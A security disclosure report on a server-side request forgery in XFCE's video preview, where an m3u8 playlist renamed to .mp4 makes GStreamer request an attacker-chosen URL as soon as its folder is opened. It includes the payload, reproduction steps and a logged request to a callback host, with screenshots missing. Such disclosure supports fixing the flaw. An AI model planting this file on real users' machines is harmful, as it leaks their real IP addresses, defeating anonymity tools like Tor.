
Vulnerability report 

Type: SSRF 

Tested on: Debian-live-11.4.0-amd64-xfce, Kali Linux 2022.2 

Author: Kutlymurat Mambetniyazov (@manfromkz) 

Description: Server-side request forgery (also known as SSRF) - is a vulnerability that allows an attacker 

to induce the application to make requests to an unintended location. XFCE allows sending arbitrary HTTP 

requests when the directory with malicious mp4 file is opened. 

Impact: Sensitive data exposure as IP address (for example, if user downloaded malicious mp4 file using 

TOR Browser, this vulnerability anyway will leak the real IP address of user) and GStreamer version. 

Steps to reproduce: 

1. Create web server to accept requests or use online services like requestbin.com. 

2. Create file test.mp4 with such content (payload): 

#EXTM3U 

#EXT-X-MEDIA-SEQUENCE:0 

#EXTINF:10.0, 

http://your_web_server/some.mp4 

#EXT-X-ENDLIST 

3. Open the directory that contains test.mp4. 

4. Check the web server logs, you will get GET-request to the some.mp4 file. 

 

Thoughts: This vulnerability was also checked on Debian MATE, Debian GNOME, Debian KDE, Fedora 

GNOME they are not affected. It seems the problem is in the preview mechanism for video files. The 

payload provided above is actually valid m3u8 file that just renamed to mp4, but XFCE for unknown 

reasons processes it. 

References: 

• https://portswigger.net/web-security/ssrf 

• https://hackerone.com/reports/115857 

• https://hackerone.com/reports/1062888 

 

Proof-of-concept 
1. Debian 11.4.0 XFCE 

Version info: 

https://murat.one/
https://portswigger.net/web-security/ssrf
https://hackerone.com/reports/115857
https://hackerone.com/reports/1062888


 

 

Content of created file xfce.mp4 with URL of our web server: 

 

Opening directory where the file xfce.mp4 is located: 



 

Checking web server logs: 

 

As we can see, several HTTP requests were made to our web server without opening the file. The text 

version of request: 

GET /xfce.mp4 HTTP/1.1 

Host: c8lw2v29fkxbd4x5edna4mjt9kfe33.burpcollaborator.net 

User-Agent: GStreamer souphttpsrc 1.18.4 libsoup/2.72.0 

icy-metadata: 1 

Connection: Keep-Alive 

 

2. Kali Linux 2022.2 



Version info: 

 

 

 

 

Content of created file test.mp4 with URL of our web server: 

 

 

 

 

Just open the directory where file is located: 

 



System will send HTTP request to our server: 

 

 


